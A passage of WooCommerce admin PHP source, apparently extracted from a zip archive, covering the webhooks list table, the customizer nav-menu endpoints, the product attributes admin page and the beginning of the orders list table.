				'ajax'     => false,
			)
		);
	}

	/**
	 * No items found text.
	 */
	public function no_items() {
		esc_html_e( 'No webhooks found.', 'woocommerce' );
	}

	/**
	 * Get list columns.
	 *
	 * @return array
	 */
	public function get_columns() {
		return array(
			'cb'           => '<input type="checkbox" />',
			'title'        => __( 'Name', 'woocommerce' ),
			'status'       => __( 'Status', 'woocommerce' ),
			'topic'        => __( 'Topic', 'woocommerce' ),
			'delivery_url' => __( 'Delivery URL', 'woocommerce' ),
		);
	}

	/**
	 * Column cb.
	 *
	 * @param  WC_Webhook $webhook Webhook instance.
	 * @return string
	 */
	public function column_cb( $webhook ) {
		return sprintf( '<input type="checkbox" name="%1$s[]" value="%2$s" />', $this->_args['singular'], $webhook->get_id() );
	}

	/**
	 * Return title column.
	 *
	 * @param  WC_Webhook $webhook Webhook instance.
	 * @return string
	 */
	public function column_title( $webhook ) {
		$edit_link = admin_url( 'admin.php?page=wc-settings&amp;tab=advanced&amp;section=webhooks&amp;edit-webhook=' . $webhook->get_id() );
		$output    = '';

		// Title.
		$output .= '<strong><a href="' . esc_url( $edit_link ) . '" class="row-title">' . esc_html( $webhook->get_name() ) . '</a></strong>';

		// Get actions.
		$actions = array(
			/* translators: %s: webhook ID. */
			'id'     => sprintf( __( 'ID: %d', 'woocommerce' ), $webhook->get_id() ),
			'edit'   => '<a href="' . esc_url( $edit_link ) . '">' . esc_html__( 'Edit', 'woocommerce' ) . '</a>',
			/* translators: %s: webhook name */
			'delete' => '<a class="submitdelete" aria-label="' . esc_attr( sprintf( __( 'Delete "%s" permanently', 'woocommerce' ), $webhook->get_name() ) ) . '" href="' . esc_url(
				wp_nonce_url(
					add_query_arg(
						array(
							'delete' => $webhook->get_id(),
						),
						admin_url( 'admin.php?page=wc-settings&tab=advanced&section=webhooks' )
					),
					'delete-webhook'
				)
			) . '">' . esc_html__( 'Delete permanently', 'woocommerce' ) . '</a>',
		);

		$actions     = apply_filters( 'webhook_row_actions', $actions, $webhook );
		$row_actions = array();

		foreach ( $actions as $action => $link ) {
			$row_actions[] = '<span class="' . esc_attr( $action ) . '">' . $link . '</span>';
		}

		$output .= '<div class="row-actions">' . implode( ' | ', $row_actions ) . '</div>';

		return $output;
	}

	/**
	 * Return status column.
	 *
	 * @param  WC_Webhook $webhook Webhook instance.
	 * @return string
	 */
	public function column_status( $webhook ) {
		return $webhook->get_i18n_status();
	}

	/**
	 * Return topic column.
	 *
	 * @param  WC_Webhook $webhook Webhook instance.
	 * @return string
	 */
	public function column_topic( $webhook ) {
		return $webhook->get_topic();
	}

	/**
	 * Return delivery URL column.
	 *
	 * @param  WC_Webhook $webhook Webhook instance.
	 * @return string
	 */
	public function column_delivery_url( $webhook ) {
		return $webhook->get_delivery_url();
	}

	/**
	 * Get the status label for webhooks.
	 *
	 * @param string $status_name Status name.
	 * @param int    $amount      Amount of webhooks.
	 * @return array
	 */
	private function get_status_label( $status_name, $amount ) {
		$statuses = wc_get_webhook_statuses();

		if ( isset( $statuses[ $status_name ] ) ) {
			return array(
				'singular' => sprintf( '%s <span class="count">(%s)</span>', esc_html( $statuses[ $status_name ] ), $amount ),
				'plural'   => sprintf( '%s <span class="count">(%s)</span>', esc_html( $statuses[ $status_name ] ), $amount ),
				'context'  => '',
				'domain'   => 'woocommerce',
			);
		}

		return array(
			'singular' => sprintf( '%s <span class="count">(%s)</span>', esc_html( $status_name ), $amount ),
			'plural'   => sprintf( '%s <span class="count">(%s)</span>', esc_html( $status_name ), $amount ),
			'context'  => '',
			'domain'   => 'woocommerce',
		);
	}

	/**
	 * Table list views.
	 *
	 * @return array
	 */
	protected function get_views() {
		$status_links   = array();
		$data_store     = WC_Data_Store::load( 'webhook' );
		$num_webhooks   = $data_store->get_count_webhooks_by_status();
		$total_webhooks = array_sum( (array) $num_webhooks );
		$statuses       = array_keys( wc_get_webhook_statuses() );
		$class          = empty( $_REQUEST['status'] ) ? ' class="current"' : ''; // WPCS: input var okay. CSRF ok.

		/* translators: %s: count */
		$status_links['all'] = "<a href='admin.php?page=wc-settings&amp;tab=advanced&amp;section=webhooks'$class>" . sprintf( _nx( 'All <span class="count">(%s)</span>', 'All <span class="count">(%s)</span>', $total_webhooks, 'posts', 'woocommerce' ), number_format_i18n( $total_webhooks ) ) . '</a>';

		foreach ( $statuses as $status_name ) {
			$class = '';

			if ( empty( $num_webhooks[ $status_name ] ) ) {
				continue;
			}

			if ( isset( $_REQUEST['status'] ) && sanitize_key( wp_unslash( $_REQUEST['status'] ) ) === $status_name ) { // WPCS: input var okay, CSRF ok.
				$class = ' class="current"';
			}

			$label = $this->get_status_label( $status_name, $num_webhooks[ $status_name ] );

			$status_links[ $status_name ] = "<a href='admin.php?page=wc-settings&amp;tab=advanced&amp;section=webhooks&amp;status=$status_name'$class>" . sprintf( translate_nooped_plural( $label, $num_webhooks[ $status_name ] ), number_format_i18n( $num_webhooks[ $status_name ] ) ) . '</a>';
		}

		return $status_links;
	}

	/**
	 * Get bulk actions.
	 *
	 * @return array
	 */
	protected function get_bulk_actions() {
		return array(
			'delete' => __( 'Delete permanently', 'woocommerce' ),
		);
	}

	/**
	 * Process bulk actions.
	 */
	public function process_bulk_action() {
		$action   = $this->current_action();
		$webhooks = isset( $_REQUEST['webhook'] ) ? array_map( 'absint', (array) $_REQUEST['webhook'] ) : array(); // WPCS: input var okay, CSRF ok.

		if ( ! current_user_can( 'manage_woocommerce' ) ) {
			wp_die( esc_html__( 'You do not have permission to edit Webhooks', 'woocommerce' ) );
		}

		if ( 'delete' === $action ) {
			WC_Admin_Webhooks::bulk_delete( $webhooks );
		}
	}

	/**
	 * Generate the table navigation above or below the table.
	 * Included to remove extra nonce input.
	 *
	 * @param string $which The location of the extra table nav markup: 'top' or 'bottom'.
	 */
	protected function display_tablenav( $which ) {
		echo '<div class="tablenav ' . esc_attr( $which ) . '">';

		if ( $this->has_items() ) {
			echo '<div class="alignleft actions bulkactions">';
			$this->bulk_actions( $which );
			echo '</div>';
		}

		$this->extra_tablenav( $which );
		$this->pagination( $which );
		echo '<br class="clear" />';
		echo '</div>';
	}

	/**
	 * Search box.
	 *
	 * @param  string $text     Button text.
	 * @param  string $input_id Input ID.
	 */
	public function search_box( $text, $input_id ) {
		if ( empty( $_REQUEST['s'] ) && ! $this->has_items() ) { // WPCS: input var okay, CSRF ok.
			return;
		}

		$input_id     = $input_id . '-search-input';
		$search_query = isset( $_REQUEST['s'] ) ? sanitize_text_field( wp_unslash( $_REQUEST['s'] ) ) : ''; // WPCS: input var okay, CSRF ok.

		echo '<p class="search-box">';
		echo '<label class="screen-reader-text" for="' . esc_attr( $input_id ) . '">' . esc_html( $text ) . ':</label>';
		echo '<input type="search" id="' . esc_attr( $input_id ) . '" name="s" value="' . esc_attr( $search_query ) . '" />';
		submit_button(
			$text,
			'',
			'',
			false,
			array(
				'id' => 'search-submit',
			)
		);
		echo '</p>';
	}

	/**
	 * Prepare table list items.
	 */
	public function prepare_items() {
		$per_page     = $this->get_items_per_page( 'woocommerce_webhooks_per_page' );
		$current_page = $this->get_pagenum();

		// Query args.
		$args = array(
			'limit'  => $per_page,
			'offset' => $per_page * ( $current_page - 1 ),
		);

		// Handle the status query.
		if ( ! empty( $_REQUEST['status'] ) ) { // WPCS: input var okay, CSRF ok.
			$args['status'] = sanitize_key( wp_unslash( $_REQUEST['status'] ) ); // WPCS: input var okay, CSRF ok.
		}

		if ( ! empty( $_REQUEST['s'] ) ) { // WPCS: input var okay, CSRF ok.
			$args['search'] = sanitize_text_field( wp_unslash( $_REQUEST['s'] ) ); // WPCS: input var okay, CSRF ok.
		}

		$args['paginate'] = true;

		// Get the webhooks.
		$data_store  = WC_Data_Store::load( 'webhook' );
		$webhooks    = $data_store->search_webhooks( $args );
		$this->items = array_map( 'wc_get_webhook', $webhooks->webhooks );

		// Set the pagination.
		$this->set_pagination_args(
			array(
				'total_items' => $webhooks->total,
				'per_page'    => $per_page,
				'total_pages' => $webhooks->max_num_pages,
			)
		);
	}
}
PK�3\��(f

class-wc-admin-customize.phpnu�[���<?php
/**
 * Setup customize items.
 *
 * @package WooCommerce\Admin\Customize
 * @version 3.1.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( ! class_exists( 'WC_Admin_Customize', false ) ) :

	/**
	 * WC_Admin_Customize Class.
	 */
	class WC_Admin_Customize {

		/**
		 * Initialize customize actions.
		 */
		public function __construct() {
			// Include custom items to customizer nav menu settings.
			add_filter( 'customize_nav_menu_available_item_types', array( $this, 'register_customize_nav_menu_item_types' ) );
			add_filter( 'customize_nav_menu_available_items', array( $this, 'register_customize_nav_menu_items' ), 10, 4 );
		}

		/**
		 * Register customize new nav menu item types.
		 * This will register WooCommerce account endpoints as a nav menu item type.
		 *
		 * @since  3.1.0
		 * @param  array $item_types Menu item types.
		 * @return array
		 */
		public function register_customize_nav_menu_item_types( $item_types ) {
			$item_types[] = array(
				'title'      => __( 'WooCommerce Endpoints', 'woocommerce' ),
				'type_label' => __( 'WooCommerce Endpoint', 'woocommerce' ),
				'type'       => 'woocommerce_nav',
				'object'     => 'woocommerce_endpoint',
			);

			return $item_types;
		}

		/**
		 * Register account endpoints to customize nav menu items.
		 *
		 * @since  3.1.0
		 * @param  array   $items  List of nav menu items.
		 * @param  string  $type   Nav menu type.
		 * @param  string  $object Nav menu object.
		 * @param  integer $page   Page number.
		 * @return array
		 */
		public function register_customize_nav_menu_items( $items = array(), $type = '', $object = '', $page = 0 ) {
			if ( 'woocommerce_endpoint' !== $object ) {
				return $items;
			}

			// Don't allow pagination since all items are loaded at once.
			if ( 0 < $page ) {
				return $items;
			}

			// Get items from account menu.
			$endpoints = wc_get_account_menu_items();

			// Remove dashboard item.
			if ( isset( $endpoints['dashboard'] ) ) {
				unset( $endpoints['dashboard'] );
			}

			// Include missing lost password.
			$endpoints['lost-password'] = __( 'Lost password', 'woocommerce' );

			$endpoints = apply_filters( 'woocommerce_custom_nav_menu_items', $endpoints );

			foreach ( $endpoints as $endpoint => $title ) {
				$items[] = array(
					'id'         => $endpoint,
					'title'      => $title,
					'type_label' => __( 'Custom Link', 'woocommerce' ),
					'url'        => esc_url_raw( wc_get_account_endpoint_url( $endpoint ) ),
				);
			}

			return $items;
		}
	}

endif;

return new WC_Admin_Customize();
PK�3\�")�L�Lclass-wc-admin-attributes.phpnu�[���<?php
/**
 * Attributes Page
 *
 * The attributes section lets users add custom attributes to assign to products - they can also be used in the "Filter Products by Attribute" widget.
 *
 * @package WooCommerce\Admin
 * @version 2.3.0
 */

defined( 'ABSPATH' ) || exit;

/**
 * WC_Admin_Attributes Class.
 */
class WC_Admin_Attributes {

	/**
	 * Edited attribute ID.
	 *
	 * @var int
	 */
	private static $edited_attribute_id;

	/**
	 * Handles output of the attributes page in admin.
	 *
	 * Shows the created attributes and lets you add new ones or edit existing ones.
	 * The added attributes are stored in the database and can be used for layered navigation.
	 */
	public static function output() {
		$result = '';
		$action = '';

		// Action to perform: add, edit, delete or none.
		if ( ! empty( $_POST['add_new_attribute'] ) ) { // WPCS: CSRF ok.
			$action = 'add';
		} elseif ( ! empty( $_POST['save_attribute'] ) && ! empty( $_GET['edit'] ) ) { // WPCS: CSRF ok.
			$action = 'edit';
		} elseif ( ! empty( $_GET['delete'] ) ) {
			$action = 'delete';
		}

		switch ( $action ) {
			case 'add':
				$result = self::process_add_attribute();
				break;
			case 'edit':
				$result = self::process_edit_attribute();
				break;
			case 'delete':
				$result = self::process_delete_attribute();
				break;
		}

		if ( is_wp_error( $result ) ) {
			echo '<div id="woocommerce_errors" class="error"><p>' . wp_kses_post( $result->get_error_message() ) . '</p></div>';
		}

		// Show admin interface.
		if ( ! empty( $_GET['edit'] ) ) {
			self::edit_attribute();
		} else {
			self::add_attribute();
		}
	}

	/**
	 * Get and sanitize posted attribute data.
	 *
	 * @return array
	 */
	private static function get_posted_attribute() {
		$attribute = array(
			'attribute_label'   => isset( $_POST['attribute_label'] ) ? wc_clean( wp_unslash( $_POST['attribute_label'] ) ) : '', // WPCS: input var ok, CSRF ok.
			'attribute_name'    => isset( $_POST['attribute_name'] ) ? wc_sanitize_taxonomy_name( wp_unslash( $_POST['attribute_name'] ) ) : '', // WPCS: input var ok, CSRF ok, sanitization ok.
			'attribute_type'    => isset( $_POST['attribute_type'] ) ? wc_clean( wp_unslash( $_POST['attribute_type'] ) ) : 'select', // WPCS: input var ok, CSRF ok.
			'attribute_orderby' => isset( $_POST['attribute_orderby'] ) ? wc_clean( wp_unslash( $_POST['attribute_orderby'] ) ) : '', // WPCS: input var ok, CSRF ok.
			'attribute_public'  => isset( $_POST['attribute_public'] ) ? 1 : 0, // WPCS: input var ok, CSRF ok.
		);

		if ( empty( $attribute['attribute_type'] ) ) {
			$attribute['attribute_type'] = 'select';
		}
		if ( empty( $attribute['attribute_label'] ) ) {
			$attribute['attribute_label'] = ucfirst( $attribute['attribute_name'] );
		}
		if ( empty( $attribute['attribute_name'] ) ) {
			$attribute['attribute_name'] = wc_sanitize_taxonomy_name( $attribute['attribute_label'] );
		}

		return $attribute;
	}

	/**
	 * Add an attribute.
	 *
	 * @return bool|WP_Error
	 */
	private static function process_add_attribute() {
		check_admin_referer( 'woocommerce-add-new_attribute' );

		$attribute = self::get_posted_attribute();
		$args      = array(
			'name'         => $attribute['attribute_label'],
			'slug'         => $attribute['attribute_name'],
			'type'         => $attribute['attribute_type'],
			'order_by'     => $attribute['attribute_orderby'],
			'has_archives' => $attribute['attribute_public'],
		);

		$id = wc_create_attribute( $args );

		if ( is_wp_error( $id ) ) {
			return $id;
		}

		return true;
	}

	/**
	 * Edit an attribute.
	 *
	 * @return bool|WP_Error
	 */
	private static function process_edit_attribute() {
		$attribute_id = isset( $_GET['edit'] ) ? absint( $_GET['edit'] ) : 0;
		check_admin_referer( 'woocommerce-save-attribute_' . $attribute_id );

		$attribute = self::get_posted_attribute();
		$args      = array(
			'name'         => $attribute['attribute_label'],
			'slug'         => $attribute['attribute_name'],
			'type'         => $attribute['attribute_type'],
			'order_by'     => $attribute['attribute_orderby'],
			'has_archives' => $attribute['attribute_public'],
		);

		$id = wc_update_attribute( $attribute_id, $args );

		if ( is_wp_error( $id ) ) {
			return $id;
		}

		self::$edited_attribute_id = $id;

		return true;
	}

	/**
	 * Delete an attribute.
	 *
	 * @return bool
	 */
	private static function process_delete_attribute() {
		$attribute_id = isset( $_GET['delete'] ) ? absint( $_GET['delete'] ) : 0;
		check_admin_referer( 'woocommerce-delete-attribute_' . $attribute_id );

		return wc_delete_attribute( $attribute_id );
	}

	/**
	 * Edit Attribute admin panel.
	 *
	 * Shows the interface for changing an attributes type between select and text.
	 */
	public static function edit_attribute() {
		global $wpdb;

		$edit = isset( $_GET['edit'] ) ? absint( $_GET['edit'] ) : 0;

		$attribute_to_edit = $wpdb->get_row(
			$wpdb->prepare(
				"
				SELECT attribute_type, attribute_label, attribute_name, attribute_orderby, attribute_public
				FROM {$wpdb->prefix}woocommerce_attribute_taxonomies WHERE attribute_id = %d
				",
				$edit
			)
		);

		?>
		<div class="wrap woocommerce">
			<h1><?php esc_html_e( 'Edit attribute', 'woocommerce' ); ?></h1>

			<?php
			if ( ! $attribute_to_edit ) {
				echo '<div id="woocommerce_errors" class="error"><p>' . esc_html__( 'Error: non-existing attribute ID.', 'woocommerce' ) . '</p></div>';
			} else {
				if ( self::$edited_attribute_id > 0 ) {
					echo '<div id="message" class="updated"><p>' . esc_html__( 'Attribute updated successfully', 'woocommerce' ) . '</p><p><a href="' . esc_url( admin_url( 'edit.php?post_type=product&amp;page=product_attributes' ) ) . '">' . esc_html__( 'Back to Attributes', 'woocommerce' ) . '</a></p></div>';
					self::$edited_attribute_id = null;
				}
				$att_type    = $attribute_to_edit->attribute_type;
				$att_label   = format_to_edit( $attribute_to_edit->attribute_label );
				$att_name    = $attribute_to_edit->attribute_name;
				$att_orderby = $attribute_to_edit->attribute_orderby;
				$att_public  = $attribute_to_edit->attribute_public;
				?>
				<form action="edit.php?post_type=product&amp;page=product_attributes&amp;edit=<?php echo absint( $edit ); ?>" method="post">
					<table class="form-table">
						<tbody>
							<?php do_action( 'woocommerce_before_edit_attribute_fields' ); ?>
							<tr class="form-field form-required">
								<th scope="row" valign="top">
									<label for="attribute_label"><?php esc_html_e( 'Name', 'woocommerce' ); ?></label>
								</th>
								<td>
									<input name="attribute_label" id="attribute_label" type="text" value="<?php echo esc_attr( $att_label ); ?>" />
									<p class="description"><?php esc_html_e( 'Name for the attribute (shown on the front-end).', 'woocommerce' ); ?></p>
								</td>
							</tr>
							<tr class="form-field form-required">
								<th scope="row" valign="top">
									<label for="attribute_name"><?php esc_html_e( 'Slug', 'woocommerce' ); ?></label>
								</th>
								<td>
									<input name="attribute_name" id="attribute_name" type="text" value="<?php echo esc_attr( $att_name ); ?>" maxlength="28" />
									<p class="description"><?php esc_html_e( 'Unique slug/reference for the attribute; must be no more than 28 characters.', 'woocommerce' ); ?></p>
								</td>
							</tr>
							<tr class="form-field form-required">
								<th scope="row" valign="top">
									<label for="attribute_public"><?php esc_html_e( 'Enable archives?', 'woocommerce' ); ?></label>
								</th>
								<td>
									<input name="attribute_public" id="attribute_public" type="checkbox" value="1" <?php checked( $att_public, 1 ); ?> />
									<p class="description"><?php esc_html_e( 'Enable this if you want this attribute to have product archives in your store.', 'woocommerce' ); ?></p>
								</td>
							</tr>
							<?php
							/**
							 * Attribute types can change the way attributes are displayed on the frontend and admin.
							 *
							 * By Default WooCommerce only includes the `select` type. Others can be added with the
							 * `product_attributes_type_selector` filter. If there is only the default type registered,
							 * this setting will be hidden.
							 */
							if ( wc_has_custom_attribute_types() ) {
								?>
								<tr class="form-field form-required">
									<th scope="row" valign="top">
										<label for="attribute_type"><?php esc_html_e( 'Type', 'woocommerce' ); ?></label>
									</th>
									<td>
										<select name="attribute_type" id="attribute_type">
											<?php foreach ( wc_get_attribute_types() as $key => $value ) : ?>
												<option value="<?php echo esc_attr( $key ); ?>" <?php selected( $att_type, $key ); ?>><?php echo esc_html( $value ); ?></option>
											<?php endforeach; ?>
											<?php
												/**
												 * Deprecated action in favor of product_attributes_type_selector filter.
												 *
												 * @todo Remove in 4.0.0
												 * @deprecated 2.4.0
												 */
												do_action( 'woocommerce_admin_attribute_types' );
											?>
										</select>
										<p class="description"><?php esc_html_e( "Determines how this attribute's values are displayed.", 'woocommerce' ); ?></p>
									</td>
								</tr>
								<?php
							}
							?>
							<tr class="form-field form-required">
								<th scope="row" valign="top">
									<label for="attribute_orderby"><?php esc_html_e( 'Default sort order', 'woocommerce' ); ?></label>
								</th>
								<td>
									<select name="attribute_orderby" id="attribute_orderby">
										<option value="menu_order" <?php selected( $att_orderby, 'menu_order' ); ?>><?php esc_html_e( 'Custom ordering', 'woocommerce' ); ?></option>
										<option value="name" <?php selected( $att_orderby, 'name' ); ?>><?php esc_html_e( 'Name', 'woocommerce' ); ?></option>
										<option value="name_num" <?php selected( $att_orderby, 'name_num' ); ?>><?php esc_html_e( 'Name (numeric)', 'woocommerce' ); ?></option>
										<option value="id" <?php selected( $att_orderby, 'id' ); ?>><?php esc_html_e( 'Term ID', 'woocommerce' ); ?></option>
									</select>
									<p class="description"><?php esc_html_e( 'Determines the sort order of the terms on the frontend shop product pages. If using custom ordering, you can drag and drop the terms in this attribute.', 'woocommerce' ); ?></p>
								</td>
							</tr>
							<?php do_action( 'woocommerce_after_edit_attribute_fields' ); ?>
						</tbody>
					</table>
					<p class="submit"><button type="submit" name="save_attribute" id="submit" class="button-primary" value="<?php esc_attr_e( 'Update', 'woocommerce' ); ?>"><?php esc_html_e( 'Update', 'woocommerce' ); ?></button></p>
					<?php wp_nonce_field( 'woocommerce-save-attribute_' . $edit ); ?>
				</form>
			<?php } ?>
		</div>
		<?php
	}

	/**
	 * Add Attribute admin panel.
	 *
	 * Shows the interface for adding new attributes.
	 */
	public static function add_attribute() {
		?>
		<div class="wrap woocommerce">
			<h1><?php echo esc_html( get_admin_page_title() ); ?></h1>

			<br class="clear" />
			<div id="col-container">
				<div id="col-right">
					<div class="col-wrap">
						<table class="widefat attributes-table wp-list-table ui-sortable" style="width:100%">
							<thead>
								<tr>
									<th scope="col"><?php esc_html_e( 'Name', 'woocommerce' ); ?></th>
									<th scope="col"><?php esc_html_e( 'Slug', 'woocommerce' ); ?></th>
									<?php if ( wc_has_custom_attribute_types() ) : ?>
										<th scope="col"><?php esc_html_e( 'Type', 'woocommerce' ); ?></th>
									<?php endif; ?>
									<th scope="col"><?php esc_html_e( 'Order by', 'woocommerce' ); ?></th>
									<th scope="col"><?php esc_html_e( 'Terms', 'woocommerce' ); ?></th>
								</tr>
							</thead>
							<tbody>
								<?php
								$attribute_taxonomies = wc_get_attribute_taxonomies();
								if ( $attribute_taxonomies ) :
									foreach ( $attribute_taxonomies as $tax ) :
										?>
										<tr>
												<td>
													<strong><a href="edit-tags.php?taxonomy=<?php echo esc_attr( wc_attribute_taxonomy_name( $tax->attribute_name ) ); ?>&amp;post_type=product"><?php echo esc_html( $tax->attribute_label ); ?></a></strong>

													<div class="row-actions"><span class="edit"><a href="<?php echo esc_url( add_query_arg( 'edit', $tax->attribute_id, 'edit.php?post_type=product&amp;page=product_attributes' ) ); ?>"><?php esc_html_e( 'Edit', 'woocommerce' ); ?></a> | </span><span class="delete"><a class="delete" href="<?php echo esc_url( wp_nonce_url( add_query_arg( 'delete', $tax->attribute_id, 'edit.php?post_type=product&amp;page=product_attributes' ), 'woocommerce-delete-attribute_' . $tax->attribute_id ) ); ?>"><?php esc_html_e( 'Delete', 'woocommerce' ); ?></a></span></div>
												</td>
												<td><?php echo esc_html( $tax->attribute_name ); ?></td>
												<?php if ( wc_has_custom_attribute_types() ) : ?>
													<td><?php echo esc_html( wc_get_attribute_type_label( $tax->attribute_type ) ); ?> <?php echo $tax->attribute_public ? esc_html__( '(Public)', 'woocommerce' ) : ''; ?></td>
												<?php endif; ?>
												<td>
													<?php
													switch ( $tax->attribute_orderby ) {
														case 'name':
															esc_html_e( 'Name', 'woocommerce' );
															break;
														case 'name_num':
															esc_html_e( 'Name (numeric)', 'woocommerce' );
															break;
														case 'id':
															esc_html_e( 'Term ID', 'woocommerce' );
															break;
														default:
															esc_html_e( 'Custom ordering', 'woocommerce' );
															break;
													}
													?>
												</td>
												<td class="attribute-terms">
													<?php
													$taxonomy = wc_attribute_taxonomy_name( $tax->attribute_name );

													if ( taxonomy_exists( $taxonomy ) ) {
														$terms        = get_terms( $taxonomy, 'hide_empty=0' );
														$terms_string = implode( ', ', wp_list_pluck( $terms, 'name' ) );
														if ( $terms_string ) {
															echo esc_html( $terms_string );
														} else {
															echo '<span class="na">&ndash;</span>';
														}
													} else {
															echo '<span class="na">&ndash;</span>';
													}
													?>
													<br /><a href="edit-tags.php?taxonomy=<?php echo esc_attr( wc_attribute_taxonomy_name( $tax->attribute_name ) ); ?>&amp;post_type=product" class="configure-terms"><?php esc_html_e( 'Configure terms', 'woocommerce' ); ?></a>
												</td>
											</tr>
											<?php
										endforeach;
									else :
										?>
										<tr>
											<td colspan="6"><?php esc_html_e( 'No attributes currently exist.', 'woocommerce' ); ?></td>
										</tr>
										<?php
									endif;
									?>
							</tbody>
						</table>
					</div>
				</div>
				<div id="col-left">
					<div class="col-wrap">
						<div class="form-wrap">
							<h2><?php esc_html_e( 'Add new attribute', 'woocommerce' ); ?></h2>
							<p><?php esc_html_e( 'Attributes let you define extra product data, such as size or color. You can use these attributes in the shop sidebar using the "layered nav" widgets.', 'woocommerce' ); ?></p>
							<form action="edit.php?post_type=product&amp;page=product_attributes" method="post">
								<?php do_action( 'woocommerce_before_add_attribute_fields' ); ?>

								<div class="form-field">
									<label for="attribute_label"><?php esc_html_e( 'Name', 'woocommerce' ); ?></label>
									<input name="attribute_label" id="attribute_label" type="text" value="" />
									<p class="description"><?php esc_html_e( 'Name for the attribute (shown on the front-end).', 'woocommerce' ); ?></p>
								</div>

								<div class="form-field">
									<label for="attribute_name"><?php esc_html_e( 'Slug', 'woocommerce' ); ?></label>
									<input name="attribute_name" id="attribute_name" type="text" value="" maxlength="28" />
									<p class="description"><?php esc_html_e( 'Unique slug/reference for the attribute; must be no more than 28 characters.', 'woocommerce' ); ?></p>
								</div>

								<div class="form-field">
									<label for="attribute_public"><input name="attribute_public" id="attribute_public" type="checkbox" value="1" /> <?php esc_html_e( 'Enable Archives?', 'woocommerce' ); ?></label>

									<p class="description"><?php esc_html_e( 'Enable this if you want this attribute to have product archives in your store.', 'woocommerce' ); ?></p>
								</div>

								<?php
								/**
								 * Attribute types can change the way attributes are displayed on the frontend and admin.
								 *
								 * By Default WooCommerce only includes the `select` type. Others can be added with the
								 * `product_attributes_type_selector` filter. If there is only the default type registered,
								 * this setting will be hidden.
								 */
								if ( wc_has_custom_attribute_types() ) {
									?>
									<div class="form-field">
										<label for="attribute_type"><?php esc_html_e( 'Type', 'woocommerce' ); ?></label>
										<select name="attribute_type" id="attribute_type">
											<?php foreach ( wc_get_attribute_types() as $key => $value ) : ?>
												<option value="<?php echo esc_attr( $key ); ?>"><?php echo esc_html( $value ); ?></option>
											<?php endforeach; ?>
											<?php
												/**
												 * Deprecated action in favor of product_attributes_type_selector filter.
												 *
												 * @todo Remove in 4.0.0
												 * @deprecated 2.4.0
												 */
												do_action( 'woocommerce_admin_attribute_types' );
											?>
										</select>
										<p class="description"><?php esc_html_e( "Determines how this attribute's values are displayed.", 'woocommerce' ); ?></p>
									</div>
									<?php
								}
								?>

								<div class="form-field">
									<label for="attribute_orderby"><?php esc_html_e( 'Default sort order', 'woocommerce' ); ?></label>
									<select name="attribute_orderby" id="attribute_orderby">
										<option value="menu_order"><?php esc_html_e( 'Custom ordering', 'woocommerce' ); ?></option>
										<option value="name"><?php esc_html_e( 'Name', 'woocommerce' ); ?></option>
										<option value="name_num"><?php esc_html_e( 'Name (numeric)', 'woocommerce' ); ?></option>
										<option value="id"><?php esc_html_e( 'Term ID', 'woocommerce' ); ?></option>
									</select>
									<p class="description"><?php esc_html_e( 'Determines the sort order of the terms on the frontend shop product pages. If using custom ordering, you can drag and drop the terms in this attribute.', 'woocommerce' ); ?></p>
								</div>

								<?php do_action( 'woocommerce_after_add_attribute_fields' ); ?>

								<p class="submit"><button type="submit" name="add_new_attribute" id="submit" class="button button-primary" value="<?php esc_attr_e( 'Add attribute', 'woocommerce' ); ?>"><?php esc_html_e( 'Add attribute', 'woocommerce' ); ?></button></p>
								<?php wp_nonce_field( 'woocommerce-add-new_attribute' ); ?>
							</form>
						</div>
					</div>
				</div>
			</div>
			<script type="text/javascript">
			/* <![CDATA[ */

				jQuery( 'a.delete' ).on( 'click', function() {
					if ( window.confirm( '<?php esc_html_e( 'Are you sure you want to delete this attribute?', 'woocommerce' ); ?>' ) ) {
						return true;
					}
					return false;
				});

			/* ]]> */
			</script>
		</div>
		<?php
	}
}
PK�3\Ta��v�v0list-tables/class-wc-admin-list-table-orders.phpnu�[���<?php
/**
 * List tables: orders.
 *
 * @package WooCommerce\Admin
 * @version 3.3.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Admin_List_Table_Orders', false ) ) {
	return;
}

if ( ! class_exists( 'WC_Admin_List_Table', false ) ) {
	include_once __DIR__ . '/abstract-class-wc-admin-list-table.php';
}

/**
 * WC_Admin_List_Table_Orders Class.
 */
class WC_Admin_List_Table_Orders extends WC_Admin_List_Table {

	/**
	 * Post type.
	 *
	 * @var string
	 */
	protected $list_table_type = 'shop_order';

	/**
	 * Constructor.
	 */
	public function __construct() {
		parent::__construct();
		add_action( 'admin_notices', array( $this, 'bulk_admin_notices' ) );
		add_action( 'admin_footer', array( $this, 'order_preview_template' ) );
		add_filter( 'get_search_query', array( $this, 'search_label' ) );
		add_filter( 'query_vars', array( $this, 'add_custom_query_var' ) );
		add_action( 'parse_query', array( $this, 'search_custom_fields' ) );
	}

	/**
	 * Render blank state.
	 */
	protected function render_blank_state() {
		echo '<div class="woocommerce-BlankState">';

		echo '<h2 class="woocommerce-BlankState-message">' . esc_html__( 'When you receive a new order, it will appear here.', 'woocommerce' ) . '</h2>';

		echo '<div class="woocommerce-BlankState-buttons">';
		echo '<a class="woocommerce-BlankState-cta button-primary button" target="_blank" href="https://docs.woocommerce.com/document/managing-orders/?utm_source=blankslate&utm_medium=product&utm_content=ordersdoc&utm_campaign=woocommerceplugin">' . esc_html__( 'Learn more about orders', 'woocommerce' ) . '</a>';
		echo '</div>';

		do_action( 'wc_marketplace_suggestions_orders_empty_state' );

		echo '</div>';
	}

	/**
	 * Define primary column.
	 *
	 * @return string
	 */
	protected function get_primary_column() {
		return 'order_number';
	}

	/**
	 * Get row actions to show in the list table.
	 *
	 * @param array   $actions Array of actions.
	 * @param WP_Post $post Current post object.
	 * @return array
	 */
	protected function get_row_actions( $actions, $post ) {
		return array();
	}

	/**
	 * Define hidden columns.
	 *
	 * @return array
	 */
	protected function define_hidden_columns() {
		return array(
			'shipping_address',
			'billing_address',
			'wc_actions',
		);
	}

	/**
	 * Define which columns are sortable.
	 *
	 * @param array $columns Existing columns.
	 * @return array
	 */
	public function define_sortable_columns( $columns ) {
		$custom = array(
			'order_number' => 'ID',
			'order_total'  => 'order_total',
			'order_date'   => 'date',
		);
		unset( $columns['comments'] );

		return wp_parse_args( $custom, $columns );
	}

	/**
	 * Define which columns to show on this screen.
	 *
	 * @param array $columns Existing columns.
	 * @return array
	 */
	public function define_columns( $columns ) {
		$show_columns                     = array();
		$show_columns['cb']               = $columns['cb'];
		$show_columns['order_number']     = __( 'Order', 'woocommerce' );
		$show_columns['order_date']       = __( 'Date', 'woocommerce' );
		$show_columns['order_status']     = __( 'Status', 'woocommerce' );
